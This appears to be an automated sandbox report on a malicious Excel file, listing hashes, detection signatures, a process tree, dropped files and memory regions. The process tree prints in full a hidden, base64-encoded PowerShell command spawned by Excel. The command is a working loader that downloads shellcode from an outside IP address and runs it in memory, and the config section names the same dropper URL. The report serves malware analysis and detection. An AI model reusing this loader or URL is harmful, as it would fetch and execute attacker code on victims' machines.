Analysis

  • max time kernel
    33s
  • max time network
    34s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-11-2024 21:56

General

  • Target

    c0c6fd29fb0e19068878eceea6dac88812454f226d96f9244851bfd0df89e77c.xls

  • Size

    46KB

  • MD5

    d5f5adcafdae062e965870ced9756be7

  • SHA1

    7cc30262d810e3bfb1c939a5790ec15fb4ff905d

  • SHA256

    c0c6fd29fb0e19068878eceea6dac88812454f226d96f9244851bfd0df89e77c

  • SHA512

    9fdeddc8c8edad7290e77b5a2ec8182641ae7ddb015f5d25ef6d25eb8dc84e148a276404d4387c38cf13482caa3fc5a9258904274dd40cd53c056628743c3b2e

  • SSDEEP

    768:c4SFsv66g3KnF439NKC54kkGfn+cL2XdA8YRtukODXwXqt7sNAQYzKEm8ZRu9Uzp:HSFsv66g3KnF439NKC54kkGfn+cL2Xd+

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://194.182.164.149:8080/fontawesome.woff

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c0c6fd29fb0e19068878eceea6dac88812454f226d96f9244851bfd0df89e77c.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2740
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -nop -w hidden -Enc JABXAGkAbgAzADIAIAA9ACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAbgBzAGkAKQBdAA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAANAAoAIAAgACAAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsAA0ACgAgACAAIAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwADQAKACAAIAAgACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAsACAAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAVQBJAG4AdAAzADIAIABXAGEAaQB0AEYAbwByAFMAaQBuAGcAbABlAE8AYgBqAGUAYwB0ACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABoAEgAYQBuAGQAbABlACwADQAKACAAIAAgACAAVQBJAG4AdAAzADIAIABkAHcATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAKQA7AA0ACgB9AA0ACgAiAEAADQAKAEEAZABkAC0AVAB5AHAAZQAgACQAVwBpAG4AMwAyAA0ACgANAAoAIwAgAEkAUwBDAHsAaABlAGMAYQByAG0AZQBuAF8AdwBhAHMAXwBoAGUAcgBlAH0ADQAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AIAA7AA0ACgAkAHMAaABlAGwAbABjAG8AZABlACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAEwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADkANAAuADEAOAAyAC4AMQA2ADQALgAxADQAOQA6ADgAMAA4ADAALwBmAG8AbgB0AGEAdwBlAHMAbwBtAGUALgB3AG8AZgBmACIAKQANAAoAaQBmACAAKAAkAHMAaABlAGwAbABjAG8AZABlACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsARQB4AGkAdAB9ADsADQAKACQAcwBpAHoAZQAgAD0AIAAkAHMAaABlAGwAbABjAG8AZABlAC4ATABlAG4AZwB0AGgADQAKAA0ACgBbAEkAbgB0AFAAdAByAF0AJABhAGQAZAByACAAPQAgAFsAVwBpAG4AMwAyAF0AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAcwBpAHoAZQAsADAAeAAxADAAMAAwACwAMAB4ADQAMAApADsADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHMAaABlAGwAbABjAG8AZABlACwAIAAwACwAIAAkAGEAZABkAHIALAAgACQAcwBpAHoAZQApAA0ACgAkAHQAaABhAG4AZABsAGUAPQBbAFcAaQBuADMAMgBdADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABhAGQAZAByACwAMAAsADAALAAwACkAOwANAAoAWwBXAGkAbgAzADIAXQA6ADoAVwBhAGkAdABGAG8AcgBTAGkAbgBnAGwAZQBPAGIAagBlAGMAdAAoACQAdABoAGEAbgBkAGwAZQAsACAAWwB1AGkAbgB0ADMAMgBdACIAMAB4AEYARgBGAEYARgBGAEYARgAiACkA
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1608
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xgxcbx5f\xgxcbx5f.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2192
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE203.tmp" "c:\Users\Admin\AppData\Local\Temp\xgxcbx5f\CSC79D89201E5314359B4A516A77BDE6E6F.TMP"
          4⤵
            PID:4516

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\RESE203.tmp

      Filesize

      1KB

      MD5

      8472504d622b37c0c9ece8e42cc24157

      SHA1

      5545ac8d1f8de95c1604648b624da62e748b8d8f

      SHA256

      c41ccfd0713d9c5ef9c2c0b870914e59299e8e29700bbaca54494e2640f8d2da

      SHA512

      86bd70a6f201e89824612bf351f66c94b308adc9587c9811d177746aab8305b46f39ddbca967b7ae13d5a12a52cf5d05911197aee6e748c5bf5a6d5f3b5f67b8

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mdhuqneh.oor.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\xgxcbx5f\xgxcbx5f.dll

      Filesize

      3KB

      MD5

      2158821c2777d03827ebe8b1e1ca2413

      SHA1

      9eea90582d30cb44a83759e348e085ee50ef1541

      SHA256

      2f3872bda8c9b98ac0c6717bcfbb7af288149d5197ed16976cc2a6f7b9713d0b

      SHA512

      0a0ecebe78ebaa9f704cf590e0c4c2d92c5c7508b5772a66a9463ac23055a3686d8fde70139417dc0dfb47afffcfd0c292841ef96aeb2917d1bb8c5878f3f48a

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

      Filesize

      2KB

      MD5

      7bdbc08b1d789cc9fe2fb9a7e804fd3b

      SHA1

      b450bda283655237876663d8f318f42dce4b5056

      SHA256

      7651160cfdac508a5bf0f43683e25b27dc041d974ed87a66dd0530d069fc0ad3

      SHA512

      d51516b309f7b93aa25395cf0afa8671f693cd8ee42401ad8df7ba99b4e8ea02d48d97f1b24320af4f5ddf430f65b8060790f5e1f596c9db6d3bb1239b17a0e0

    • \??\c:\Users\Admin\AppData\Local\Temp\xgxcbx5f\CSC79D89201E5314359B4A516A77BDE6E6F.TMP

      Filesize

      652B

      MD5

      8b182aefbbb2c445c787b991fc155de1

      SHA1

      f5f5cb2055021bd4315812fe92c7bce604666fb8

      SHA256

      30967d1c1fd370ab9667ec7298dba9e7a59412a4a30db62f2affca3c5451b2ac

      SHA512

      2e836bae8fbfe6d9281a76e00c51338fe7dd492a788e79eaa5221c7ba3bce3349cdc2b2a7631445fb40cd59d3809541a8dc3196d21548ac52390679f7f9c2ff1

    • \??\c:\Users\Admin\AppData\Local\Temp\xgxcbx5f\xgxcbx5f.0.cs

      Filesize

      631B

      MD5

      f4dd5c682eb7b3b679f084261bfc7c4c

      SHA1

      70f75d7a4e42c185eb09139ed3c6f7338a2219c2

      SHA256

      2908bfece2edd241dc4f7cc26608c3254f7e5b896a38114618d56b65d4fc4319

      SHA512

      8f91148a6bd15f8182ef00b3e75b008eacda414852e8169112013377e4b9b88e1a0be73c8e0c212b8c0a51c24fbb2849c44d742f6019c9c5bf0dfb0e28a1b83d

    • \??\c:\Users\Admin\AppData\Local\Temp\xgxcbx5f\xgxcbx5f.cmdline

      Filesize

      369B

      MD5

      b86f939d2ed1235a9230158a687166d6

      SHA1

      6886cd443e0f7204c615f736423beca01edab89b

      SHA256

      bf2969a10156d3cdfd9648b9ed4573e539f0e182092cbca1bfa28ece81d17e47

      SHA512

      aa994f017dfe9e9b26a2e1e73f531a2d461bce290c3bb58cdac5a47df86c10dd855a5073144b04aa213ce66259f8ed7dd2e608c80ef360b914eb3320e50d80db

    • memory/1608-36-0x000001F2A0670000-0x000001F2A0692000-memory.dmp

      Filesize

      136KB

    • memory/1608-58-0x000001F2A05E0000-0x000001F2A05E8000-memory.dmp

      Filesize

      32KB

    • memory/2740-12-0x00007FFED8810000-0x00007FFED8A05000-memory.dmp

      Filesize

      2.0MB

    • memory/2740-30-0x00007FFED8810000-0x00007FFED8A05000-memory.dmp

      Filesize

      2.0MB

    • memory/2740-14-0x00007FFE96650000-0x00007FFE96660000-memory.dmp

      Filesize

      64KB

    • memory/2740-11-0x00007FFED8810000-0x00007FFED8A05000-memory.dmp

      Filesize

      2.0MB

    • memory/2740-15-0x00007FFE96650000-0x00007FFE96660000-memory.dmp

      Filesize

      64KB

    • memory/2740-7-0x00007FFE98890000-0x00007FFE988A0000-memory.dmp

      Filesize

      64KB

    • memory/2740-9-0x00007FFED8810000-0x00007FFED8A05000-memory.dmp

      Filesize

      2.0MB

    • memory/2740-16-0x00007FFED8810000-0x00007FFED8A05000-memory.dmp

      Filesize

      2.0MB

    • memory/2740-18-0x00007FFED8810000-0x00007FFED8A05000-memory.dmp

      Filesize

      2.0MB

    • memory/2740-20-0x00007FFED8810000-0x00007FFED8A05000-memory.dmp

      Filesize

      2.0MB

    • memory/2740-19-0x00007FFED8810000-0x00007FFED8A05000-memory.dmp

      Filesize

      2.0MB

    • memory/2740-17-0x00007FFED8810000-0x00007FFED8A05000-memory.dmp

      Filesize

      2.0MB

    • memory/2740-29-0x00007FFED8810000-0x00007FFED8A05000-memory.dmp

      Filesize

      2.0MB

    • memory/2740-13-0x00007FFED8810000-0x00007FFED8A05000-memory.dmp

      Filesize

      2.0MB

    • memory/2740-0-0x00007FFE98890000-0x00007FFE988A0000-memory.dmp

      Filesize

      64KB

    • memory/2740-10-0x00007FFED8810000-0x00007FFED8A05000-memory.dmp

      Filesize

      2.0MB

    • memory/2740-8-0x00007FFED8810000-0x00007FFED8A05000-memory.dmp

      Filesize

      2.0MB

    • memory/2740-5-0x00007FFED8810000-0x00007FFED8A05000-memory.dmp

      Filesize

      2.0MB

    • memory/2740-6-0x00007FFED8810000-0x00007FFED8A05000-memory.dmp

      Filesize

      2.0MB

    • memory/2740-3-0x00007FFE98890000-0x00007FFE988A0000-memory.dmp

      Filesize

      64KB

    • memory/2740-4-0x00007FFE98890000-0x00007FFE988A0000-memory.dmp

      Filesize

      64KB

    • memory/2740-2-0x00007FFE98890000-0x00007FFE988A0000-memory.dmp

      Filesize

      64KB

    • memory/2740-60-0x00007FFED8810000-0x00007FFED8A05000-memory.dmp

      Filesize

      2.0MB

    • memory/2740-63-0x00007FFED88AD000-0x00007FFED88AE000-memory.dmp

      Filesize

      4KB

    • memory/2740-64-0x00007FFED8810000-0x00007FFED8A05000-memory.dmp

      Filesize

      2.0MB

    • memory/2740-68-0x00007FFED8810000-0x00007FFED8A05000-memory.dmp

      Filesize

      2.0MB

    • memory/2740-1-0x00007FFED88AD000-0x00007FFED88AE000-memory.dmp

      Filesize

      4KB